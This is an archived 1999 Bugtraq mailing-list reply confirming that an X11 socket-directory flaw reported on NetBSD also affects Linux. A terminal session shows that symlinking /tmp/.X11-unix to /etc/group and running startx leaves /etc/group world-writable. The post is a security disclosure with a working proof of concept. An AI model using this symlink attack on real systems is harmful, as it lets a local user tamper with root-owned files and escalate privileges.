[10021] in bugtraq
Re: X11R6 NetBSD Security Problem
daemon@ATHENA.MIT.EDU (Petras Sinkevicius)
Mon Mar 29 00:29:08 1999
Date: Fri, 26 Mar 1999 23:41:02 +0200
Reply-To: Petras Sinkevicius <petras@BEBRAS.DAMMIT.LT>
From: Petras Sinkevicius <petras@BEBRAS.DAMMIT.LT>
X-To: "in.telnetd" <telnetd@DOEMILL.SHOCKING.COM>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <Pine.NEB.4.02.9903212140560.5532-100000@stinky>
On Sun, 21 Mar 1999, in.telnetd wrote:
> oops, i forgot to say, this was on NetBSD 1.3.3, fresh install
> if you could apend this to my last message, it would be apreciated aleph1
>
This also works under Linux, X11 v3.3.3, links to directories and files
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bebras@petras:/tmp> ln -s /etc/group /tmp/.X11-unix
bebras@petras:/tmp> ls -l /etc/group
-rw-r--r-- 1 root root 336 Mar 6 13:56 /etc/group
bebras@petras:/tmp> startx
_X11TransSocketUNIXConnect: Can't connect: errno = 111
giving up.
xinit: Connection refused (errno 111): unable to connect to X server
xinit: No such process (errno 3): Server error.
bebras@petras:/tmp> ls -l /etc/group
-rwxrwxrwt 1 root root 336 Mar 6 13:56 /etc/group*
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Drakosha
Petras Sinkevicius
petras@bebras.dammit.lt
